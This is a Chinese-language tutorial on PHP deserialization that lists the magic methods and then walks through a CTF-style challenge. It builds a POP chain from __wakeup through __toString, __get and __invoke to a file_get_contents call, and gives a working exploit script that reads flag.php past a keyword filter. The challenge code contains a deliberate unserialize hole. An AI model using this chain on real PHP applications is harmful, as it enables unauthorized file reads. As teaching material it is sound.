__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //当程序调用到当前类中未声明或没权限调用的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //当程序调用一个未定义或不可见的成员变量时触发
__set() //当程序试图写入一个不存在或不可见的成员变量时触发
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
<?php class A{ private $name = "xxx"; function __construct() { echo "__construct() call\n"; } function __destruct() { echo "\n__destruct() call\n"; } function __toString() { return "__toString() call\n"; } function __sleep() { echo "__sleep() call\n"; return array("name"); } function __wakeup() { echo "__wakeup() call\n"; } function __get($a) { echo "__get() call\n"; return $this->name; } function __set($property, $value) { echo "\n__set() call\n"; $this->$property = $value; } function __invoke() { echo "__invoke() call\n"; } } //调用 __construct() $a = new A(); //调用 __toSting() echo $a; //调用 __sleep() $b = serialize($a); //调用 __wakeup() $c = unserialize($b); //调用 __get() echo $a->bbbb; //调用 __set() $a->name = "pro";//name属性是私有的无法直接访问 //调用 __invoke() $a(); //调用 __destruct() (会调用两次__destruct,因为中间有一次反序列化)

其中最后调用输出了两次__destruct()魔术方法,$a首先是一个对象,其中又经过了一次序列化与反序列化,在反序列化后又会出现一个对象。所以最终会有两个对象被销毁触发__destruct()魔术方法。
遇到反序列化构造POP链的问题,可以配置Xdebug进行断点调试。
再看一道例题
<?php //flag is in flag.php error_reporting(1); class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; } } class Show { public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'Welcome'."<br>"; } public function __toString() { return $this->str['str']->source; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test { public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); } } if(isset($_GET['hello'])) { unserialize($_GET['hello']); } else { $show = new Show('pop3.php'); $show->_show(); }
可以看到我们的目的是通过构造反序列化读取flag.php文件,可以看到在Read类有file_get_contents()函数,Show类有highlight_file()函数可以读取文件。接下来寻找目标点可以看到在最后几行有unserialize函数存在,该函数的执行同时会触发__wakeup魔术方法,而__wakeup魔术方法可以看到在Show类中。

再次看下__wakeup魔术方法中,存在一个正则匹配函数preg_match(),该函数第二个参数应为字符串,这里把source当作字符串进行的匹配,这时若这个source是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在Show类中,那么我们一会构造exp时将source变成Show这个类的对象就会触发__tostring方法。
再看下__tostring魔术方法中,首先找到str这个数组,取出key值为str的value值赋给source,那么如果这个value值不存在的话就会触发__get魔术方法。再次通读全篇,看到Test类中存在__get魔术方法。

那么此时如果str数组中key值为str对应的value值source是Test类的一个对象,就触发了__get魔术方法。看下__get魔术方法,发现先取Test类中的属性p给function变量,再通过return $function()把它当作函数执行,这里属性p可控。这样就会触发__invoke魔术方法,而__invoke魔术方法在Read类中有

可以看到__invoke魔术方法中调用了该类中的file_get方法,形参是var属性值(这里我们可以控制),实参是value值,从而调用file_get_contents函数读取文件内容,所以只要将Read类中的var属性值赋值为flag.php即可。缕清POP链,构造exp如下
<?php
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
class Read{
public $var = “flag.php”;
}
$s = new Show();
$t = new Test();
$r = new Read();
$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法
$s->str[“str”] = $t;//赋值Show类的对象($s下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象 $s下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发__tostring魔术方法。
var_dump(serialize($s));
?>
总结:
POP链:unserialize函数(变量可控)–>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–>触发Read类中的file_get方法–>触发file_get_contents函数读取flag.php